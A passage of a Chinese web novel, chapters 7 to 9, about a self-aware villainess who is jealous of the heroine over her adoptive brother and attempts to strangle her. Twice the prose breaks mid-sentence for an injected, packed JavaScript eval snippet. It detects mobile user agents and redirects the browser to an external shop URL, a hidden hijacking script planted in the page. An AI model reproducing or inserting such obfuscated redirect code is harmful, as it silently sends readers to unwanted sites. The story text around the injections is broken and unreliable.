《觉醒后拐跑男三》 7. 07 整夜都没有睡好。 陈晓薇头重脚轻地下楼,这才发现家里很热闹,是奚冀的父母回来了。 “澜姨。”陈晓薇快步扑进奚冀妈妈的怀抱,得到路过的叔叔喜爱地揉揉脑袋,撒娇的模样比旁边坐着的奚冀还像亲生的。 “睡醒啦,桌上的礼物都是给你和你哥的,你先挑。” “好。”陈晓薇乖乖应答,视线触及到沙发上的奚冀,有些犹豫地蹲到茶几边。 自从他们俩能工作,叔叔阿姨常年旅居,只有逢年过节才回家。 陈晓薇挠挠脸颊,拿起彩陶玩偶,装模作样比对,借机去瞄奚冀的脸色。 他淡淡瞥她一眼,眼底似乎什么情绪也没有。 “哥,”陈晓薇声音轻轻,“你要狐狸还是猫……” 奚冀将穿着的黑色运动服拉到下颌,清俊的脸微微埋进衣领里,漂亮的杏核眼眼皮薄薄,似乎是用拉链声回应陈晓薇:不要跟他说话。 陈晓薇鼓鼓脸颊,忍不住歪头瞧他。 视线相撞的瞬间,陈晓薇清亮的眼珠滴溜溜转,眉眼乱飞,示意还在整理行李的奚冀父母。 爸爸妈妈都在这里,你不会想让他们发现咱们吵架吧? 奚冀垂眼,快速眨眼的时候,纤长的睫毛像是蝴蝶振翅。 如果被爸妈发现他们俩冷战…… 陈晓薇故意装无辜,笑眯眯瞧他。灿烂的笑脸使得奚冀怔愣,眼底那些浓郁的怒意都消散,说不清自己到底还要不要继续生气。 “哥,我在跟你说话。” 她知道,奚冀在妥协,含糊的叹息就是这场冷战和解的信号。 陈晓薇抿抿嘴唇,美滋滋地凑近奚冀坐着的单人沙发边,将胳膊拄在他的扶手上,给他瞧掌心色彩浓艳的玩偶。 奚冀浅淡的嘴唇微张,最终只是咬咬唇瓣。 -随便。 今天是中秋,团圆的节日。 餐桌摆满珍馐,鲜花点缀,鎏金镶边的骨瓷餐盘散发出莹润的光泽。 张阿姨细心将银质餐具摆好,就忙着回厨房看蒸箱。 随着最后一道主菜落到餐桌中心,澜姨举起酒杯,向对面的陈晓薇和奚冀致意:“孩子们,我和爸爸最大的心愿就是你们俩平安健康,你们好好的,我们也能放心地出门游玩。” “敬我们家幸福的生活!”奚冀爸爸开口。 陈晓薇低头嗅闻,葡萄酒的莓果香气浓郁,舌尖尝到的时候,却有淡淡的酸涩。 瞧着她皱眉,奚冀爸爸笑着解释,今年的雨季太久,光照不充足,导致葡萄整体都泛酸,酿出来的酒自然也缺少甜味。 他看向奚冀,发现儿子已经将酒杯放好,看着他们的神情似乎有话想说。 “奚冀?” -有件事,想跟你们商量,我想搬出去住。 “为什么呀?”宋澜的视线在僵住的女儿和目光坚定的儿子之间看来看去,“你们俩闹别扭啦?” 奚冀摇头。 -我只是觉得,应该独自生活一段时间。 奚正用毛巾擦手,斟酌着问:“你已经准备好搬走,还是只是计划?” 奚冀瞧瞧,父母都有些摸不到头脑。唯有陈晓薇,怒气溢于言表,神情仿佛在质问他为什么要做出搬家这种“背叛行为”。 -计划。 “虽说也可以……”奚正犹豫,“但我们常年不在家,你又搬出去住,那妹妹万一有什么事情需要你,你不能及时赶回来啊。” “再考虑考虑吧,过段时间再说。”宋澜赞同。 奚冀的喉结滚动。 正待他想说什么,门厅响起铃声。 还没等奚冀爸爸站起身,奚冀已经抢先走过去,将门打开。 陈晓薇攥紧餐刀,怪不得哥哥这么关切,原来门外站的是舒渺。为了迎合节日氛围,舒渺今天穿得很喜庆,黑色皮衣配红色格纹裙,腿边正摆着几箱节礼。 \ “我代表公司,来给奚先生和陈小姐两位股东送贺礼。” 端坐在餐桌边的宋澜回头,眼神将舒渺从头打量到脚,眼底的嫌弃越来越浓,高傲地抽纸巾碰碰嘴角。 这神情陈晓薇实在是太熟悉了。 果然下一秒—— 宋澜:“怎么想的,节礼现在才送。” 舒渺脸颊的酒窝变浅三分,奚冀适时上前,询问她有没有吃饭。 “谢谢,我吃过了,我还有其他的礼物要去送……” 陈晓薇夸张清嗓打断舒渺的话。 心底却直叹气,不想搞事也非要搞事的感觉又涌上来了。 陈晓薇亲昵地挽住宋澜的手臂,乖巧状地将头贴向她的肩膀,看似是撒娇,实则是告状。 “澜姨,你不知道吧?她可不是公司的普通员工,派她来是因为她跟我哥关系匪浅呢。” -你别胡说。 “哪里是胡说,本来就是!”陈晓薇胡搅蛮缠。 宋澜立刻摸摸陈晓薇的手臂,做安抚状,再开口的时候语气极其尖利:“我说呢,原来是借着送礼的机会,来看我们家奚冀的。” “阿姨,你误会了。”舒渺局促。 陈晓薇补刀:“你看她!长得这么漂亮无害,实际上很有心机呢~” 这种无脑台词,一句话的语调还要拐八个弯,陈晓薇无奈想,真是难为自己的嗓子了,辛苦辛苦。 “我误会什么?!”宋澜挑眉,语调也高得离谱,几乎就是捏着声带,“你这样的女孩,我见得太多了,见到富贵人家就凑上前来,想尽浑身解数要嫁进来。” 奚正挂起微笑:“我们不会同意,随便什么人嫁进家里来的,姑娘,不管你跟我儿子有什么关系,我都劝你们立刻中断。” 舒渺的脸色泛起青白。 在场的所有人都瞧不起她,那遥遥看过来的视线,似乎她是从地底生长出来的铁钉,带着终年在腥气的土壤里滋生出的铁锈,突兀寒酸地钉在他们家的门口。 唯有一个人,唯有奚冀。 想要拦住家里人口出恶语,却无能为力。 舒渺将礼物放进门内,转身就走,丝毫不拖泥带水。 没想到奚冀生活在这样的家庭氛围里,看起来很冷漠,但内心却是温柔的,真是出淤泥而不染了,难得。 青灰的天下起蒙蒙细雨。 舒渺仰头,她从来不会把嘲讽放在心上,委屈是她生活的动力。早晚有一天,她也会变得有钱的,让这群看不起她的人都被她踩在脚底。 看到奚冀还想追出去安慰,陈晓薇伸胳膊堵住门口,恶魔低语:“你心疼了?” “哥,刚才舒渺可是信誓旦旦地说,你们没有关系。”陈晓薇邪恶挑起半边唇角,“现在她离开你反倒追出去,不是坐实你们俩有暧昧吗,你也不想让叔叔阿姨对舒渺的印象更差吧?” 奚冀嘴唇紧紧抿起来,要不是不能说话,估计想要骂她了。 \ 陈晓薇顿时肩膀松弛,将胳膊从门框边放下来,顺带着活动活动肩膀。 叔叔阿姨已经继续吃东西了,就好像刚才的事情没有发生过似的。 这真的很地狱笑话。 原来奚冀的父母也是脸谱扁平的“反派”,平日里温柔和善的叔叔阿姨在刚才的剧情里表现出的尖酸刻薄简直像是另外两个人。 相比自己,他们似乎没有情绪残留。 即使是奚冀赌气地回到卧室里,不继续吃饭了,他们也没有在意。 对舒渺冷嘲热讽这件事,就像吹走一片乌云,什么痕迹都没有留在他们心里。家里人都是反派,都是负责找女主麻烦的,但是有自我意识的自己相比根本意识不到的奚冀父母,品尝到的痛苦要多得多。 自我意识。 陈晓薇愣在原地,她第一次联想到这个词。 她是有自我意识的反派。 饭后,陈晓薇亲昵地躺在澜姨的腿上,闻到她身上的馨香味儿,像是小狗似的凑近点,细细嗅嗅。 时间过去太久了,她已经忘记妈妈身上的香味儿了。 宋澜顺顺陈晓薇的头发,细心把她额头的碎发掖到耳后。 “澜姨,你对我真好。” “傻孩子。”宋澜的目光飘远些,“我跟你妈妈,从小就是好朋友。像你和奚冀这样富贵长大的小朋友,肯定想象不到我们年轻的时候过的是什么样的生活。” 乡镇寄宿制学校,想要洗澡需要周末提着浴筐到镇上的公共浴池去。 平时在学校里,想要洗头发需要自己去开水房打水。她总是跟着陈晓薇的妈妈一起,拎着她们俩十五块钱买的保温壶,粉蓝的塑料外壳上,绘着幼稚的卡通图案。 这种壶很脆,经常炸开。 她们笑嘻嘻地在盥洗室将长发扎进热气袅袅的水盆里,要是察觉到谁抹洗发水的速度太快,还要嚷着叫对方等等自己。 “我们俩呀,是冬天互相帮对方舀温水冲头发的交情呢。” 她们共同升高中,共同上大学,甚至连婚期都紧挨着。 如果不是陈晓薇父母因为生意的原因去其他城市定居,也许陈晓薇和奚冀会住在彼此的隔壁,做邻居,做朋友,相伴着长大。 过着另一种可能的生活。 “所以晓薇,你也是我的孩子,是我的女儿,在我眼里,跟奚冀没有任何的区别。” “那如果……” 如果她喜欢奚冀呢。 陈晓薇没有说出口,只是将脸埋紧点。 她不想只做奚冀的妹妹,不敢想叔叔阿姨知道她的心思,会有多么厌恶。喜欢哥哥这件事,是命运强加给她的卑劣。 * 秋雨寒凉。 夜里闲着也没事,陈晓薇穿着睡衣,头发柔顺地披散着,打算将衣帽间收拾收拾,把厚重的衣服都拿出来。 就在她抱着满胳膊的厚衣服转身的时候,她的视线被角落的裙子吸引。 巨额的遗产使她即使不工作,也能挥霍着生活,更别提叔叔阿姨还会定期往她的卡里打零花钱。 陈晓薇向来看到心仪的衣服就会下单,但东西到家又懒得穿,全部由家里负责清洁的阿姨打理好,替她塞进衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16535919|186551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帽间。 这是条颜色素净,剪裁却极其用心的裙子。 无袖的上衣纯黑,腰际像是花瓣倒置的绿萼,裙摆则是长及脚踝的纯白缎面,外层的层层纱质褶皱为这条裙子增添一丝空灵感。 像是一朵静悄悄绽放的白色玫瑰。 陈晓薇随手把抱着的衣服扔掉,动作缓慢地换上裙子,对着穿衣镜端详。 柔韧的黑色长发随着她的动作拂过纤瘦的腰身,杏仁眼清秀美丽,脸庞紧致年轻。 只是没什么气色。 陈晓薇穿着繁复美丽的连衣裙坐在化妆桌边,扭开透明唇蜜。 随后,她脚步轻轻地走到二楼,伸手想敲奚冀的房门,却发现房间没有上锁。 室内隐隐有水流声,奚冀应该是在洗澡。 真是见鬼。 凌晨十二点,她穿成这样来找奚冀干什么? \ [女配阴魂不散。] [晚上打扮得这么漂亮,跑来哥哥房间,心思昭然若揭哈。] 原来是剧情。 陈晓薇蹑手蹑脚推开房门,室内散发着恬淡的香气,她东瞧瞧西瞧瞧,完全没有尊重别人隐私的自觉。 垃圾桶里有好多张没有写就扔掉的便签纸。 奚冀的手机在嗡嗡震动。 陈晓薇清透的瞳仁望过去,面无表情输入密码解锁,迎面就是奚冀和舒渺的聊天记录。 他们在谈论今天的事情。 奚冀向舒渺道歉,而舒渺体谅他的难处,并肯定他的人品。 涂着透明唇蜜的嘴唇嘲讽扬起嘴角,纤细的手指继续下滑,奚冀说,中秋过后就是舒渺的生日,询问她有没有什么想要的东西。 舒渺直言不会收礼物,因为她还不起。 -那就说说你讨厌的东西吧。 -接触猫毛就皮肤发痒算吗? 陈晓薇翻白眼,正打算将手机放下,没想到居然蹦进来了电话。 是舒渺。 一时之间没有人说话,过了几秒,那边才传来舒渺意外的惊呼。 “哎呀,奚冀,对不起对不起,手机屏幕被水珠溅到了,所以给你拨过去了,你怎么没挂断?” “哼,”陈晓薇阴阳怪气,“谁信啊?” “陈晓薇?现在……你怎么会接到奚冀的电话。” 陈晓薇懒洋洋坐到沙发里,翘起二郎腿,层层繁复的纱裙沿着沙发荡漾开。 “这么晚,你说我为什么会出现在奚冀的房间里。”陈晓薇得意洋洋,“我哥在洗澡呢,我等他洗完,我们还要忙。” 舒渺立即挂断了。 陈晓薇耸耸肩,将手机放回原位,回头就见到只围着浴巾的奚冀。 他的皮肤被浴室的暖气蒸得泛着粉,平时穿衣服很瘦,但陈晓薇知道,哥哥是肌肉紧实的类型,却并不壮硕,更像是拔高的少年体型。 额前碎发的水珠滴落,奚冀纳闷地望着她。 陈晓薇:“哇~~~” -你在干什么。 \ “啊!” 陈晓薇见鬼似的惊呼一声,用手捂住滚烫的脸,随后将自己的手放下来。 恢复自由了。 把舒渺气得挂断电话,今天的“任务”就结束。陈晓薇慌张地站起身,尽量不看奚冀,往门边走。 “不知道你在洗澡,我这就走了。” -你碰我的手机了? “咚咚。” 突然响起的敲门声使得房间内的两个人全都静默,对视时都从对方的眼底看出慌张来。 现在可是深夜,他们俩一个打扮得漂漂亮亮,一个只围着条浴巾,这场景怎么看好像都说不清楚。 “奚冀,睡觉了吗?” 陈晓薇的手伸向门把手,却被身后一只有力的手掌捂住嘴,强行抱到墙边。 她条件反射地搭住奚冀的手腕,想要掰开,却后知后觉地意识到,奚冀在抱着她,只围着条浴巾,紧紧抱着她。 甚至没有给她留呼吸的余地。 陈晓薇错乱的呼吸打在奚冀的掌心,他放开一条胳膊,在门板上屈起指节敲两次。 这是他跟父母的暗号,示意他在听。 “我刚才去敲妹妹的门,她应该是睡觉了,你明早告诉妹妹一声,我跟爸爸出发去海岛游了,早晨的飞机。” “妹妹最近是不是心情不好,你记得多关注她,有什么事情及时跟我们说……” 鼻腔满是奚冀的香气,陈晓薇觉得,要是皮肤能呼吸,她浑身都能浸满奚冀的香味。 她轻轻晃头,示意自己要缺氧了。 柔软的唇瓣擦过奚冀的掌心,令他有些错愕地微微睁大眼睛,将力度减轻。 “奚冀?” 他回过神来,再次敲门板。 “早点睡啊。” 脚步声逐渐消失,陈晓薇原地转身,在奚冀拢着她的臂弯里仰头瞧他,他们的距离近得能闻到对方轻柔的呼吸。 他背靠着墙,垂眸看怀里的妹妹,湿润的发丝衬得他的眼神都朦胧起来。 8. 08 奚冀的目光不由自主垂落。 眼前的陈晓薇黑发环肩,发丝柔顺,室内的灯光从她的背后照过来,给她镀一层暖黄的光晕。 深色的头发衬得她的皮肤有种莹润的白。 他们之间的距离太近,使得奚冀有种错觉,即使是他的呼吸,喷洒在陈晓薇的皮肤上,也能给她留下印痕。 奚冀下意识抬头,用唇缝寻求氧气,却被陈晓薇冰冷的手指按住后颈。 她强行令奚冀低头,远远看去,亲密拥抱的姿势就像奚冀在亲吻她的肩。 “哥,你真的想搬出去?” 奚冀维持着侧头的姿势,呆滞两秒才恍然回神。 随着他抬手回答,失去怀抱的陈晓薇并没有后退。现在这样的距离带着明显的入侵意味,如果不是亲密的人,对方会觉得冒犯。 -我想独自生活一段时间,最近,我有些混乱…… 陈晓薇的食指抵住他的嘴唇。 短暂的沉默后,陈晓薇意识到自己的蠢笨。不想让哥哥开口,只需要攥住他的手腕就好了。 因为这份突如其来的自嘲,陈晓薇的眼底流露出淡淡的笑意。 奚冀有些抗拒地偏偏头,身体却不知道为什么,沉重得无法闪躲。 “是因为舒渺吗?”陈晓薇轻声。 其实她很忐忑,害怕奚冀说出肯定的答案。那会让她不由自主地联想到,搬出去后的奚冀终有一天,会和舒渺住在一起。 “你是因为舒渺,才想离开我的吗?” 在她探究的视线里,奚冀摇摇头。 -我们都长大了,晓薇,早晚要分开住的。 “可你说过!”陈晓薇凑近奚冀,他颈窝的温度几乎隔着皮肤传递给她,“你会永远照顾我。” “叔叔阿姨常年不在家,这家里平时只有我和你,你想要搬出去住,不就是想远离我吗?” 奚冀忍无可忍地将陈晓薇推开些。 -我照顾你,跟我们是否住在一起,没有冲突。 陈晓薇冷笑:“哥,在你眼里,怎么看待我?” 奚冀没有听懂这问题,疑惑地偏偏头。 “你把我当妹妹,那我永远跟你住在一起,也不会奇怪。”陈晓薇停顿,“可如果,你把我当做一个女人看待,你当然想避嫌。” 她的语速很慢。 奚冀却没来由地,被“当做女人看待”这几个戳中心底的某根弦,胸腔泛起些焦躁来。 像是为了验证什么,陈晓薇缓缓地,缓缓地踮起脚…… 唇齿间的薄荷香气令奚冀有些晕。 他下意识将越来越近的陈晓薇推远,没收住力道使得她跌坐在地,因为震荡,眼底涌出细碎的眼泪。 看着妹妹的眼神,他清楚陈晓薇已经在爆炸的边缘。 她完全想不到自己在做多么疯狂的事情。 奚冀咬牙切齿,跟着扳过陈晓薇的肩,迎着她愤怒的眼神询问。 -你的脑袋里在想什么?! -我是你哥。 -你和我这辈子都是兄妹,也只能是兄妹。 “可你心里清楚,”陈晓薇短促地吸气,含着眼泪质问,“咱们永远不会成为真正的兄妹,不是吗?这么多年,你难道没意识到,你对我太好了,好得我没办法只是把你当做哥哥。” “我习惯有你的生活,我没法想象有一天……” 奚冀落寞地垂眼,陈晓薇的愿望昭然若揭,但他不可以替她实现。 问题不是他喜不喜欢陈晓薇,而是不可以喜欢陈晓薇。 -如果我们不做兄妹,我们不会有任何其余的关系,这是我的底线。 “那不许你搬走,也是我的底线。”陈晓薇语气强硬。 奚冀的喉结滚动,他们用各自的底线去束缚对方,来达到一种微妙的平衡。 -我答应你,暂时不搬家。 陈晓薇转身就走,纱质的裙摆滑过空气,使得她的背影显示出一种莫名其妙的坚定。 然而,约定带给陈晓薇的安全感只维持了几天。 很快她就发现,奚冀总是夜晚出门,行踪不定。 陈晓薇似有所感,悄悄跟在奚冀的车后,发现奚冀来的是他名下的某间房子,距离家里并不远。 难道他还是打算搬出去住吗? 陈晓薇没有门禁卡,想办法进门的时候,时间已经过去半小时了。 纤细的手指悬停在防盗门的密码键盘上,但回忆起最近他们之间的气氛,陈晓薇又怕自己误解奚冀,惹得他生气,于是乖乖去按门铃。 \ 室内的脚步声逐渐响起。 陈晓薇抿抿嘴唇,期待地看向门内,可出现在她眼前的,却是穿着长款白衬衫的舒渺。 栗色的长卷发因为被打湿,颜色变深黏在衣服上,给本就轻薄的衬衫布料带来一种恍若透明的质感。 陈晓薇的视线往下挪,看向舒渺的衣摆。 衬衫里还有深灰的运动短裤,不是光着腿的。 但她脚踩着的毛茸茸拖鞋明显不符合奚冀简洁的装修风格,要么是奚冀特意给她买的,要么就是舒渺搬来的时候自带的。 陈晓薇眨眨滚烫的眼睛。 事情为什么总是这样,事与愿违。哥哥那天明明答应她,不会搬家,可现在舒渺还是出现在奚冀的房间里。 她的模样看起来刚刚洗过澡,很难说没有发生过什么。 原来奚冀的那些话都是借口,只是缓兵之计,实则早就已经在跟舒渺同居了。 “陈晓薇,你怎么来——” 舒渺被猛地推进室内。 她们俩的身高差不多,所以舒渺立刻捕捉到陈晓薇的眼神,几乎想要杀掉她的眼神。 舒渺后知后觉地扯扯衣摆:“你先冷静,奚冀出门了,不是你想的那样。” 可是愤怒,那些从心底燃起的愤怒已经全部狂涌开。占据陈晓薇的每一寸皮肤,叫嚷着让她杀掉舒渺。 陈晓薇从来不知道,自己的力气居然这么大。 又或者肾上腺素狂飙的时候,她根本感受不到痛。闷响声中,她把舒渺死死摁在地面,压制着她的肩膀。 “你先冷静——” 陈晓薇转而扼住她的喉咙,使得舒渺痛得没法继续说下去。 无力的手指沿着陈晓薇的胳膊向上,在模糊的视线里,勉强攀住陈晓薇的肩,胡乱摸索,希望她放手。 “冷静什么。” 陈晓薇的音调轻柔,声线却泛起难以言喻的阴冷。 明明发出疑问,她又根本不关心答案,只是自顾自地往下说:“我警告过你了,舒渺,你为什么还要缠着我哥?” “没有……” 舒渺的眼底泛起泪花。 她的瞳色和发色很像,含着泪的眼睛像是一汪浓稠的琥珀,我见犹怜。 “是你先抢我的东西的。” [你把你哥当东西啊?] [这哪里是爱奚冀啊,这纯粹占有欲作祟,疯子。] 陈晓薇深吸气,何止是哥哥的心,就连奚冀对她的关注都被舒渺抢走了。 那些责任心在逐渐消失,而爱意给出去,就再也收不回来了。 陈晓薇画着烟熏妆的脸愤怒扭曲:“你根本不知道,你从我这里夺走了什么!” 她最珍贵,最珍视渴望的东西都被抢走了。始作俑者还要摆出这副完全不自知的模样,对她珍爱的事物不屑一顾。 “我今天必须给你一个教训。” 舒渺发出呜咽,不断地蹬腿。看着陈晓薇那双瞳仁里透出的淡漠,她想求饶的情绪全部消失,因为她意识到,陈晓薇已经疯了。 对疯子求饶是没用的。 “奚冀……” 奚冀的名字使得陈晓薇掐住她脖颈的力道松懈半分。 舒渺抓住机会,死死捏住陈晓薇的手腕,将吃痛的她掀翻在地,随后不管不顾地往楼下跑。 惊惧的眼泪疯狂流,惊慌失措的舒渺跑出两层才敢去摁电梯。 虽然不知道陈晓薇为什么没有追出来,但现在能离她多远就离她多远,陈晓薇已经疯魔了。可是值得吗? 舒渺搓搓手臂,爱情又不是生活的全部。 风沿着电梯门狂涌,打冷颤的舒渺后知后觉地意识到,自己跑出来什么都没带,连手机都没带。 正在楼下愁怎么办的时候,恰好看到回来的奚冀。 他拎着满满两兜食物,触及到舒渺的视线有些茫然。 “你知道,我刚才经历了什么吗?” 舒渺拽住奚冀黑色防风外套的衣袖,愤怒哽咽:“陈晓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16535920|186551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薇……陈晓薇来找你,可是她误会咱们俩了,以为咱们俩住在一起。” 奚冀的视线看向舒渺犹带着指痕的脖颈。 -她打你了吗? “何止是打我,她打算掐死我!”舒渺难受地闭眼,浓密的睫毛被泪水沾湿。 “之前,陈晓薇差点淹死我,我看在你的情面上,轻轻放过。可现在她跑到我的面前打我,甚至完全不听我的解释,她简直——” -对不起,我会跟她说清楚的,你要不要去医院? “你怎么说清楚?”意识到这句话对于没法开口的奚冀很冒犯,舒渺将湿淋淋的头发往脑后捋,“我不是这个意思,但我希望,你能跟你的妹妹说清楚。咱们什么关系都没有,这房子是我家漏水,你租给我的。” 舒渺吸气:“房租我会一分不少地给你,家里的水管修好以后,我会立刻离开。我不想因为咱们之间的关系,而让别人产生误会。” 更重要的是,不要再因为莫名其妙的嫉妒心,就遭受无妄之灾。 -你去哪儿? “我不是非要你的照顾,奚冀。”舒渺仰脸,“在这个城市,我还有地方可以去,我会先去朋友那里住一晚,你现在就去把你的妹妹带走。” 舒渺攥住单元门,看向满脸郁色的奚冀。 “转告你妹妹,下次再这样针对我,我不会任由她欺负了。” [男二狂喜。] [程俊,你的机会来啦!] \ 指尖针扎般的痛意昭示着刚刚想要掐死舒渺的心情都是真的。 陈晓薇瘫坐在地,掌心无力地垂在地面,久久没有说话。 门没关,奚冀看到的就是这样的陈晓薇。 妹妹失去平日里的张牙舞爪,甚至说,带着一丝颓丧地坐着。 室外的光线沿着她清秀的侧脸描绘,使得奚冀迷惑,看起来这样柔软的人,为什么总是含着那么高的攻击性。 听到塑料袋的窸窣声,陈晓薇回过神来,冷眼瞧他。 “同居生活过得怎么样?” 奚冀板着脸走进浴室,慢条斯理洗手,出来的时候观察陈晓薇的神情。 她的面色冷硬,甚至连最基本的歉疚和苦恼都没有,仿佛刚才那些丧心病狂的事情,根本不是她做出来的。 “你明明说,不会搬出去,可你骗我,你骗我。” -你是什么时候变成这样的。 看着奚冀答非所问,染着淡淡的不耐烦。陈晓薇笑出声,看来他默认自己在跟舒渺同居的事实了。 奚冀出门买东西填满冰箱,而舒渺洗完澡,会在他进门的时候笑意盈盈地迎接他。 如果没有她这个不速之客出现,这是多么幸福愉悦的早晨啊。 陈晓薇想要撑着地板坐起来,却被奚冀压住肩膀。 -我跟舒渺不是你想的那样。 “难不成你要告诉我,她大清早的穿着衬衫出现你的家里,你们什么关系都没有吗?” -我只解释这一次。 -陈晓薇,你再这样闹下去,我不能保证我们会继续清白。 陈晓薇使出全身的力量去推搡奚冀,手骨都有些痛。她很清楚,这是奚冀的威胁。 他要她悔过,要她收回感情,要她良善。 真可惜。 陈晓薇一条也做不到。 随着车窗降下,湿润的风使得陈晓薇的情绪平和很多。 画着烟熏妆的清秀脸庞涌现出淡淡的自嘲。 她总是忘记自己存在的意义,只是剧情的助推器。 根本没人在意,没人会去探究,陈晓薇为什么发狂到想要用这么原始的方式掐死舒渺。 谁会在乎不重要的女配做事情是否合理呢? 早晚有一天,陈晓薇会在剧情里,发疯地打算崩掉舒渺。 而奚冀在真爱的作用下跑来挡枪,结局奚冀没死,舒渺没死,只有她陈晓薇独自去坐牢,多么经典的桥段。 陈晓薇悲哀地握住方向盘,奚冀有多心疼舒渺,就会有多厌恶她。 等到奚冀和舒渺“修成正果”,她这个剧情助推器就没有作用了,还不知道会迎来多么悲惨的下线方式。 “真是……” “真是可悲。” 她的呢喃消散在风里。 9. 09 9月20日,舒渺的生日。 陈晓薇睡醒,睁开眼睛的时候,差点以为自己已经脱离世界,来到什么信息乱流的区域了。 评论几乎铺满整面墙。 有的在祝贺舒渺生日快乐;有的在期待男嘉宾们在这重要的日子里会有什么表现;还有的在为自己推的角色奋战,除去自推,无差别攻击全世界。 简直是祝福与炮火齐飞。 [反正我不觉得男三有什么好,除去脸毫无优势啊,到底谁在溺爱小白脸型的男人。如果最后渺渺和奚冀在一起,那我肯定要恶心几个月,那我就去所有的平台发这本文的避雷贴。] 谢谢,如果那时候她没有坐牢去,那么她也要恶心几个月的。 陈晓薇边刷牙边赞同,真是恨不得给这条评论的后半段点赞。 [笑死,还搞威胁那套呢。] [大家还是冷静点,作者怎么安排是作者的事,而且,就从这位的历史战绩分析,她恐怕也不会听读者的建议(轻轻)] [是的,写着写着就断更了,删掉好几章。更好笑的是有人去问的时候,作者说自己的剧情不受控制,实在没办法更新,剧情发展不下去,她的剧情有自己的想法,需要时间来捋顺。] [服了,怎么会有这种乐子,好歹找点靠谱的理由叭。] [银行对不起,实在没办法还贷款,我的钱包有自己的想法……] [哈哈楼上滚啊,不许这么套公式。] 陈晓薇努努嘴压抑笑意,打开衣柜门。 已是深秋。 牛仔裤宽松包裹着双腿,她套一件纯黑羊绒外套,保暖服帖,已经熨烫整齐,摸起来顺滑得能从衣领滑到衣角。 黑色的长发亮黑垂顺,即使是背影,也衬得她散发出一种初冬的清冷香气。 她现在要去接自己的小猫。 其实那天晚上看到舒渺对猫毛过敏的时候,陈晓薇就已经有了一种预感:她要有猫了。 作者需要恶毒女配有只猫。 作者根本不在乎陈晓薇会选择什么品种、什么模样的猫,于是陈晓薇在看到唐圆发布的流浪猫救助消息的时候,在众多毛茸茸的脏兮兮猫团里,一眼相中了它。 一只不是名贵品种,却拥有着柔软长毛的橘白。 四只脚都是纯白的,背部到尾巴都是橘色,因着长毛的缘故,看起来像是芒果核。更显眼的,是它的额头,带几簇橘色花纹,像是燃烧的火苗,看起来就有种犟种劲儿。 完全就是她的猫嘛。 [这次是真的修罗场了。] [三个人都约渺渺吃饭,好难选呀。] [不过这样比起来,还是程俊最有心机吧,周听砚和奚冀都是约的上午就见面哎,而程俊约的是晚上吃晚饭。] [因为程俊需要做菜呀,他又不像另外两个那么有钱,可以约高档餐厅。] [心意确实挺好的,但是吧,程俊在家世方面确实差点意思,不舍得女鹅以后跟着程俊吃苦。] [程序员还好吧,怎么在你们嘴里好像程俊吃不起饭似的。钱有那么重要吗?程俊温柔又贴心啊,青梅竹马哎,始终守着女主的邻家哥哥,反正我真的很吃这种温柔挂,对傲娇和冷淡都不感兴趣。] [别吵啦,让我们在这里恭喜周听砚先生,拥有最先给渺渺过生日的机会,嘿嘿。] [渺渺os的那句成年人都要真的笑死我了。] 柔软得像是棉花糖似的猫正蜷缩在陈晓薇的臂弯里。 本来是放在航空箱里的,谁知道它害怕至极,没有安全感,不断凄厉地叫,无奈的陈晓薇只能将猫抱在怀里。 它还很小,甚至还没有小臂的一半长,刚接触到陈晓薇,就往她的胳膊肘里使劲钻。 也不知道从座椅底下拍照的话,会不会看到一张变形的猫脸。 猫自从被救助,还没有洗过澡。 浑身都散发着腥腥的臭气,还有热乎乎的气息。陈晓薇的手指悬停在那毛茸茸的脊背,几秒后,她摸摸猫的额头,随后面无表情把外套黏着的猫毛捻起甩掉。 “唐圆,什么叫os?” “overlappingsound,如果你是指网络用语,意为内心独白。” 陈晓薇点点头,没有继续说话,而是朝着车窗外望去。 天气阴沉沉的。 灰色的云像是被暴力撕扯开的棉花,有密有疏,铺满天际。 看起来像是一张自天空垂下的,重心低垂的网。视觉里,有什么东西会沿着那些网的缝隙坠落似的,混沌,压抑。 注视得太久,让人心口发闷,呼吸艰难。 “今天的天气真古怪。” 陈晓薇也内心独白,舒渺是这本小说的女主角,主角的生日堪称庆典,居然也遇不到艳阳天。 正开着车的唐圆歪头瞧瞧。虽然不知道老板为什么会突然提起天气,但是不让老板的话成为交流对话中的最后一句,是她身为助理的自我修养。 “糙面云。”唐圆推推圆框眼镜,“强对流或者锋面过境。” 在没有科学可言的时代,糙面云更像是世界末日来临的前兆,神罚预示着世界即将终结,会带来毁灭,带来绝望。 “作者喜欢极端天气,她肯定很扭曲压抑。”陈晓薇感慨。 淮余市常年阴雨连绵,无尽的暴雨冲刷着这座城市,却无论如何都洗刷不掉,这座城市散发出的阴郁气息。 晦暗、潮湿、冰冷。 虽然没见过,但笔名为薄切红薯片的作者,绝不是什么乐观积极的人类。 正准备继续科普糙面云形成的科学道理的唐圆识趣闭嘴,她从后视镜偷瞄,不知道老板提到的作者是谁,很显然,老板的神情看起来不是很喜欢对方。 整个上午,虽然没有亲眼所见,但陈晓薇并没有错过任何一件有关于周听砚和舒渺的甜蜜互动。 周听砚包机,带着舒渺去玩跳伞了。 紧张刺激的跳伞后,是在摩天大楼的顶层吃午餐,赏景。随后,周听砚眼皮都不抬地从衣兜里掏出丝绒盒。 